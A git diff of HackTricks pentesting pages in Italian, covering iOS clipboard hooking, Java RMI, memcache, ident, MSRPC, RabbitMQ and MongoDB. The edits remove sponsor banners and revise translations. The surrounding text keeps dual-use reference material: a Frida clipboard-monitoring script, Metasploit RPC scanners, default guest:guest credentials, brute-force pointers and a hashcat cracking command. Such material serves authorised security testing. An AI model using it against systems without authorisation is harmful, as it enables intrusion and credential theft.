[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) ## Installazione del Client Frida @@ -331,7 +326,7 @@ Puoi controllare i crash in: - `~/Library/Logs/DiagnosticReports` > [!WARNING] -> iOS memorizza solo 25 crash della stessa app, quindi è necessario pulirli o iOS smetterà di creare crash. +> iOS memorizza solo 25 crash della stessa app, quindi devi pulire o iOS smetterà di creare crash. ## Frida Android Tutorials @@ -339,14 +334,9 @@ Puoi controllare i crash in: ../android-app-pentesting/frida-tutorial/ {{#endref}} -## References +## Riferimenti - [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md index b6341fc0c..1eaaf23ab 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md @@ -1,29 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - La condivisione dei dati all'interno e tra le applicazioni sui dispositivi iOS è facilitata dal meccanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), che è suddiviso in due categorie principali: -- **Clipboard generale a livello di sistema**: Questo è utilizzato per condividere dati con **qualsiasi applicazione** ed è progettato per mantenere i dati anche dopo riavvii del dispositivo e disinstallazioni delle app, una funzionalità disponibile da iOS 10. -- **Clipboard personalizzate / denominate**: Queste sono specificamente per la condivisione dei dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID team, e non sono progettate per persistere oltre la vita del processo dell'applicazione che le crea, seguendo le modifiche introdotte in iOS 10. +- **Appunti generali a livello di sistema**: Questo viene utilizzato per condividere dati con **qualsiasi applicazione** ed è progettato per mantenere i dati anche dopo riavvii del dispositivo e disinstallazioni delle app, una funzionalità disponibile da iOS 10. +- **Appunti personalizzati / nominati**: Questi sono specificamente per la condivisione dei dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID team, e non sono progettati per persistere oltre la vita del processo dell'applicazione che li crea, seguendo le modifiche introdotte in iOS 10. -**Considerazioni sulla sicurezza** giocano un ruolo significativo quando si utilizzano le clipboard. Ad esempio: +**Considerazioni sulla sicurezza** giocano un ruolo significativo quando si utilizzano gli appunti. Ad esempio: -- Non esiste un meccanismo per gli utenti per gestire le autorizzazioni delle app per accedere alla **clipboard**. -- Per mitigare il rischio di monitoraggio non autorizzato in background della clipboard, l'accesso è limitato a quando l'applicazione è in primo piano (da iOS 9). -- L'uso di clipboard denominate persistenti è sconsigliato a favore di contenitori condivisi a causa di preoccupazioni sulla privacy. -- La funzionalità **Universal Clipboard** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite la clipboard generale, può essere gestita dagli sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti. +- Non esiste un meccanismo per gli utenti per gestire le autorizzazioni delle app per accedere agli **appunti**. +- Per mitigare il rischio di monitoraggio non autorizzato in background degli appunti, l'accesso è limitato a quando l'applicazione è in primo piano (da iOS 9). +- L'uso di appunti nominati persistenti è sconsigliato a favore di contenitori condivisi a causa di preoccupazioni sulla privacy. +- La funzionalità **Universal Clipboard** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite gli appunti generali, può essere gestita dagli sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti. -Assicurarsi che **le informazioni sensibili non siano memorizzate involontariamente** sulla clipboard globale è cruciale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'uso improprio dei dati della clipboard globale per azioni non intenzionali, e si incoraggia gli sviluppatori a implementare misure per prevenire la copia di informazioni sensibili negli appunti. +Assicurarsi che **le informazioni sensibili non siano memorizzate involontariamente** negli appunti globali è cruciale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'uso improprio dei dati degli appunti globali per azioni non intenzionali, e gli sviluppatori sono incoraggiati a implementare misure per prevenire la copia di informazioni sensibili negli appunti. ### Analisi Statica Per l'analisi statica, cerca nel codice sorgente o nel binario: -- `generalPasteboard` per identificare l'uso della **clipboard generale a livello di sistema**. -- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per creare **clipboard personalizzate**. Verifica se la persistenza è abilitata, anche se questo è deprecato. +- `generalPasteboard` per identificare l'uso degli **appunti generali a livello di sistema**. +- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per creare **appunti personalizzati**. Verifica se la persistenza è abilitata, anche se questo è deprecato. ### Analisi Dinamica @@ -35,13 +31,13 @@ L'analisi dinamica comporta il hooking o il tracciamento di metodi specifici: Dettagli chiave da monitorare includono: -- **Nomi della clipboard** e **contenuti** (ad esempio, controllare stringhe, URL, immagini). +- **Nomi degli appunti** e **contenuti** (ad esempio, controllare stringhe, URL, immagini). - **Numero di elementi** e **tipi di dati** presenti, sfruttando controlli sui tipi di dati standard e personalizzati. - **Opzioni di scadenza e solo locali** ispezionando il metodo `setItems:options:`. -Un esempio di utilizzo di uno strumento di monitoraggio è il **monitor della clipboard di objection**, che interroga la generalPasteboard ogni 5 secondi per rilevare cambiamenti e restituisce i nuovi dati. +Un esempio di utilizzo di uno strumento di monitoraggio è il **monitor degli appunti di objection**, che interroga il generalPasteboard ogni 5 secondi per rilevare cambiamenti e restituisce i nuovi dati. -Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare le modifiche dalla clipboard ogni 5 secondi: +Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare le modifiche dagli appunti ogni 5 secondi: ```javascript const UIPasteboard = ObjC.classes.UIPasteboard const Pasteboard = UIPasteboard.generalPasteboard() @@ -78,8 +74,5 @@ console.log(items) - [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 0aac2a1e8..9f31ff34c 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - ## Informazioni di base -_L'invocazione remota dei metodi Java_, o _Java RMI_, è un meccanismo _RPC_ orientato agli oggetti che consente a un oggetto situato in una _macchina virtuale Java_ di chiamare metodi su un oggetto situato in un'altra _macchina virtuale Java_. Questo consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Un'introduzione breve a _Java RMI_ da una prospettiva offensiva può essere trovata in [questa talk blackhat](https://youtu.be/t_aw1mDNhzI?t=202). +_Java Remote Method Invocation_, o _Java RMI_, è un meccanismo _RPC_ orientato agli oggetti che consente a un oggetto situato in una _Java virtual machine_ di chiamare metodi su un oggetto situato in un'altra _Java virtual machine_. Questo consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Un'introduzione breve a _Java RMI_ da una prospettiva offensiva può essere trovata in [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202). **Porta predefinita:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -33,9 +25,9 @@ Per dirla in termini semplici, _Java RMI_ consente a uno sviluppatore di rendere 1. Per inviare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta in ascolto, la classe o interfaccia implementata e l'`ObjID` dell'oggetto target (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È necessario perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_). 2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _Java virtual machine_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte come spazzatura. -La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _RMI service_, ma l'interfaccia implementata e l'`ObjID` sono fissi e noti a tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_. +La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _servizio RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e conosciuti da tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_. -Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta in ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _RMI service_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio: +Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta in ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _servizio RMI_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -131,7 +123,7 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` -L'output dell'azione di enumerazione è spiegato in maggiore dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda dell'esito, dovresti cercare di verificare le vulnerabilità identificate. +L'output dell'azione di enumerazione è spiegato in maggiore dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda del risultato, dovresti cercare di verificare le vulnerabilità identificate. I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Questo può consentire di identificare altre vulnerabilità: ``` @@ -217,7 +209,7 @@ Oltre a indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ p ## Interfacce Conosciute -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna classi o interfacce come `known` se sono elencate nel database interno dello strumento di servizi _RMI_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente servizio _RMI_: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna classi o interfacce come `known` se sono elencate nel database interno dello strumento dei _RMI services_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente _RMI service_: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -301,12 +293,4 @@ Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Ottieni accesso oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index 2d195db1a..0b2157035 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Commands Cheat-Sheet @@ -17,27 +14,27 @@ Purtroppo la descrizione della sintassi non è molto chiara e un semplice comand | Command | Description | Example | | -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | | get | Legge un valore | `get mykey` | -| set | Imposta una chiave incondizionatamente |

set mykey <flags> <ttl> <size>

<p>Assicurati di usare \r\n come interruzioni di riga quando usi strumenti CLI Unix. Ad esempio</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| -| add | Aggiunge una nuova chiave | `add newkey 0 60 5` | -| replace | Sovrascrive una chiave esistente | `replace key 0 60 5` | -| append | Aggiunge dati a una chiave esistente | `append key 0 60 15` | -| prepend | Prepend dati a una chiave esistente | `prepend key 0 60 15` | -| incr | Incrementa il valore numerico della chiave di un numero dato | `incr mykey 2` | -| decr | Decrementa il valore numerico della chiave di un numero dato | `decr mykey 5` | -| delete | Elimina una chiave esistente | `delete mykey` | -| flush_all | Invalida immediatamente tutti gli elementi | `flush_all` | -| flush_all | Invalida tutti gli elementi in n secondi | `flush_all 900` | -| stats | Stampa statistiche generali | `stats` | -| | Stampa statistiche di memoria | `stats slabs` | -| | Stampa statistiche di allocazione di livello superiore | `stats malloc` | -| | Stampa informazioni sugli elementi | `stats items` | +| set | Imposta una chiave incondizionatamente |

set mykey <flags> <ttl> <size>

<p>Assicurati di usare \r\n come interruzioni di riga quando usi strumenti CLI Unix. Ad esempio</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| +| add | Aggiunge una nuova chiave | `add newkey 0 60 5` | +| replace | Sovrascrive una chiave esistente | `replace key 0 60 5` | +| append | Aggiunge dati a una chiave esistente | `append key 0 60 15` | +| prepend | Prepend dati a una chiave esistente | `prepend key 0 60 15` | +| incr | Incrementa il valore numerico della chiave di un numero dato | `incr mykey 2` | +| decr | Decrementa il valore numerico della chiave di un numero dato | `decr mykey 5` | +| delete | Elimina una chiave esistente | `delete mykey` | +| flush_all | Invalida immediatamente tutti gli elementi | `flush_all` | +| flush_all | Invalida tutti gli elementi in n secondi | `flush_all 900` | +| stats | Stampa statistiche generali | `stats` | +| | Stampa statistiche di memoria | `stats slabs` | +| | Stampa statistiche di allocazione di livello superiore | `stats malloc` | +| | Stampa informazioni sugli elementi | `stats items` | | | | `stats detail` | | | | `stats sizes` | -| | Resetta i contatori delle statistiche | `stats reset` | +| | Resetta i contatori delle statistiche | `stats reset` | | lru_crawler metadump | Dump (la maggior parte) dei metadati per (tutti) gli elementi nella cache | `lru_crawler metadump all` | -| version | Stampa la versione del server. | `version` | -| verbosity | Aumenta il livello di log | `verbosity` | -| quit | Termina la sessione | `quit` | +| version | Stampa la versione del server. | `version` | +| verbosity | Aumenta il livello di log | `verbosity` | +| quit | Termina la sessione | `quit` | #### Traffic Statistics @@ -118,10 +115,6 @@ STAT items:2:age 1405 [...] END ``` -Questo aiuta almeno a vedere se vengono utilizzate delle chiavi. Per estrarre i nomi delle chiavi da uno script PHP che già esegue l'accesso a memcache, puoi utilizzare il codice PHP di [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). - -
- -{% embed url="https://websec.nl/" %} +Questo aiuta almeno a vedere se vengono utilizzate delle chiavi. Per estrarre i nomi delle chiavi da uno script PHP che già accede a memcache, puoi utilizzare il codice PHP di [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 755acad59..454c16bd9 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -2,16 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## Informazioni di base -Il **Protocollo Ident** è utilizzato su Internet per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione della rete** e nella **sicurezza**, funziona consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP. +Il **Protocollo Ident** è utilizzato su **Internet** per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione della rete** e nella **sicurezza**, funziona consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP. Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché può rivelare involontariamente informazioni sugli utenti a parti non autorizzate. Si raccomandano misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi. @@ -22,7 +15,7 @@ PORT STATE SERVICE ``` ## **Enumerazione** -### **Manuale - Ottieni utente/Identifica il servizio** +### **Manuale - Ottenere utente/Identificare il servizio** Se una macchina sta eseguendo il servizio ident e samba (445) e sei connesso a samba utilizzando la porta 43218. Puoi scoprire quale utente sta eseguendo il servizio samba facendo: @@ -69,17 +62,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) - `oident` -## Files +## File identd.conf -
- -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per costruire e **automatizzare i flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Ottieni accesso oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## HackTricks Comandi Automatici ``` Protocol_Name: Ident #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/135-pentesting-msrpc.md b/src/network-services-pentesting/135-pentesting-msrpc.md index 03b5ee360..7205f3404 100644 --- a/src/network-services-pentesting/135-pentesting-msrpc.md +++ b/src/network-services-pentesting/135-pentesting-msrpc.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
+## Informazioni di base -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Real-Time Hack News**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - -## Basic Information - -Il protocollo Microsoft Remote Procedure Call (MSRPC), un modello client-server che consente a un programma di richiedere un servizio da un programma situato su un altro computer senza comprendere i dettagli della rete, è stato inizialmente derivato da software open-source e successivamente sviluppato e protetto da copyright da Microsoft. +Il protocollo Microsoft Remote Procedure Call (MSRPC), un modello client-server che consente a un programma di richiedere un servizio da un programma situato su un altro computer senza comprendere le specifiche della rete, è stato inizialmente derivato da software open-source e successivamente sviluppato e protetto da copyright da Microsoft. Il mapper degli endpoint RPC può essere accessibile tramite la porta TCP e UDP 135, SMB su TCP 139 e 445 (con una sessione nulla o autenticata), e come servizio web sulla porta TCP 593. ``` @@ -33,7 +18,7 @@ Iniziato dall'applicazione client, il processo MSRPC prevede la chiamata a una p ## **Identificazione dei servizi RPC esposti** -L'esposizione dei servizi RPC attraverso TCP, UDP, HTTP e SMB può essere determinata interrogando il servizio di localizzazione RPC e i singoli endpoint. Strumenti come rpcdump facilitano l'identificazione di servizi RPC unici, denotati da valori **IFID**, rivelando dettagli del servizio e binding di comunicazione: +L'esposizione dei servizi RPC su TCP, UDP, HTTP e SMB può essere determinata interrogando il servizio di localizzazione RPC e i singoli endpoint. Strumenti come rpcdump facilitano l'identificazione di servizi RPC unici, denotati da valori **IFID**, rivelando dettagli del servizio e binding di comunicazione: ``` D:\rpctools> rpcdump [-p port] **IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 @@ -41,7 +26,7 @@ Annotation: Messenger Service UUID: 00000000-0000-0000-0000-000000000000 Binding: ncadg_ip_udp:[1028] ``` -L'accesso al servizio di localizzazione RPC è abilitato tramite protocolli specifici: ncacn_ip_tcp e ncadg_ip_udp per l'accesso tramite la porta 135, ncacn_np per le connessioni SMB e ncacn_http per la comunicazione RPC basata sul web. I seguenti comandi esemplificano l'utilizzo dei moduli di Metasploit per auditare e interagire con i servizi MSRPC, concentrandosi principalmente sulla porta 135: +L'accesso al servizio di localizzazione RPC è abilitato attraverso protocolli specifici: ncacn_ip_tcp e ncadg_ip_udp per l'accesso tramite la porta 135, ncacn_np per le connessioni SMB e ncacn_http per la comunicazione RPC basata sul web. I seguenti comandi esemplificano l'utilizzo dei moduli di Metasploit per auditare e interagire con i servizi MSRPC, concentrandosi principalmente sulla porta 135: ```bash use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/hidden @@ -61,7 +46,7 @@ Tutte le opzioni tranne `tcp_dcerpc_auditor` sono specificamente progettate per - **Descrizione**: interfaccia LSA Directory Services (DS), utilizzata per enumerare domini e relazioni di fiducia. - **IFID**: 12345778-1234-abcd-ef00-0123456789ac - **Named Pipe**: `\pipe\samr` -- **Descrizione**: interfaccia LSA SAMR, utilizzata per accedere agli elementi del database SAM pubblici (ad es., nomi utente) e per forzare le password degli utenti indipendentemente dalla politica di blocco dell'account. +- **Descrizione**: interfaccia LSA SAMR, utilizzata per accedere agli elementi del database SAM pubblici (ad es., nomi utente) e per forzare le password degli utenti indipendentemente dalla politica di blocco degli account. - **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b - **Named Pipe**: `\pipe\atsvc` - **Descrizione**: pianificatore di attività, utilizzato per eseguire comandi da remoto. @@ -76,13 +61,13 @@ Tutte le opzioni tranne `tcp_dcerpc_auditor` sono specificamente progettate per - **Descrizione**: gestore di controllo dei servizi e servizi server, utilizzati per avviare e fermare servizi da remoto ed eseguire comandi. - **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 - **Named Pipe**: `\pipe\epmapper` -- **Descrizione**: interfaccia DCOM, utilizzata per forzare le password e raccogliere informazioni tramite WM. +- **Descrizione**: interfaccia DCOM, utilizzata per il brute-force delle password e la raccolta di informazioni tramite WM. ### Identificazione degli indirizzi IP Utilizzando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente da [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), è possibile abusare del metodo _**ServerAlive2**_ all'interno dell'interfaccia _**IOXIDResolver**_. -Questo metodo è stato utilizzato per ottenere informazioni sull'interfaccia come indirizzo **IPv6** dalla macchina HTB _APT_. Vedi [qui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) per il writeup di 0xdf APT, che include un metodo alternativo utilizzando rpcmap.py da [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (vedi sopra). +Questo metodo è stato utilizzato per ottenere informazioni sull'interfaccia come indirizzo **IPv6** dalla macchina HTB _APT_. Vedi [qui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) per il writeup di 0xdf APT, include un metodo alternativo utilizzando rpcmap.py da [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (vedi sopra). ### Esecuzione di un RCE con credenziali valide @@ -104,19 +89,4 @@ Il **rpcdump.exe** da [rpctools](https://resources.oreilly.com/examples/97805965 - [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/) - [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/) -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato con i nuovi bug bounty in arrivo e aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md index 4ec14cb4a..18f01143f 100644 --- a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md +++ b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -2,11 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Informazioni di base @@ -18,14 +14,14 @@ La pagina principale dovrebbe apparire così: ## Enumerazione -Le credenziali predefinite sono "_**guest**_":"_**guest**_". Se non funzionano, puoi provare a [**forzare l'accesso**](../generic-hacking/brute-force.md#http-post-form). +Le credenziali predefinite sono "_**guest**_":"_**guest**_". Se non funzionano, puoi provare a [**forzare il login**](../generic-hacking/brute-force.md#http-post-form). Per avviare manualmente questo modulo devi eseguire: ``` rabbitmq-plugins enable rabbitmq_management service rabbitmq-server restart ``` -Una volta che hai effettuato l'autenticazione correttamente, vedrai la console di amministrazione: +Una volta che hai effettuato correttamente l'autenticazione, vedrai la console di amministrazione: ![](<../images/image (441).png>) @@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist - `port:15672 http` -
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/27017-27018-mongodb.md b/src/network-services-pentesting/27017-27018-mongodb.md index f1e27aa7b..28d9d29e1 100644 --- a/src/network-services-pentesting/27017-27018-mongodb.md +++ b/src/network-services-pentesting/27017-27018-mongodb.md @@ -2,22 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Real-Time Hack News**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove ricompense per bug in arrivo e aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - -## Basic Information +## Informazioni di base **MongoDB** è un sistema di gestione di database **open source** che utilizza un **modello di database orientato ai documenti** per gestire forme diverse di dati. Offre flessibilità e scalabilità per gestire dati non strutturati o semi-strutturati in applicazioni come analisi di big data e gestione dei contenuti. **Porta predefinita:** 27017, 27018 ``` @@ -80,11 +65,11 @@ Controlla dentro _/opt/bitnami/mongodb/mongodb.conf_ per sapere se sono necessar grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed ``` -## Previsione dell'Objectid Mongo +## Previsione dell'Objectid di Mongo Esempio [da qui](https://techkranti.com/idor-through-mongodb-object-ids-prediction/). -Gli ID Object Mongo sono **stringhe esadecimali di 12 byte**: +Gli ID Object di Mongo sono **stringhe esadecimali di 12 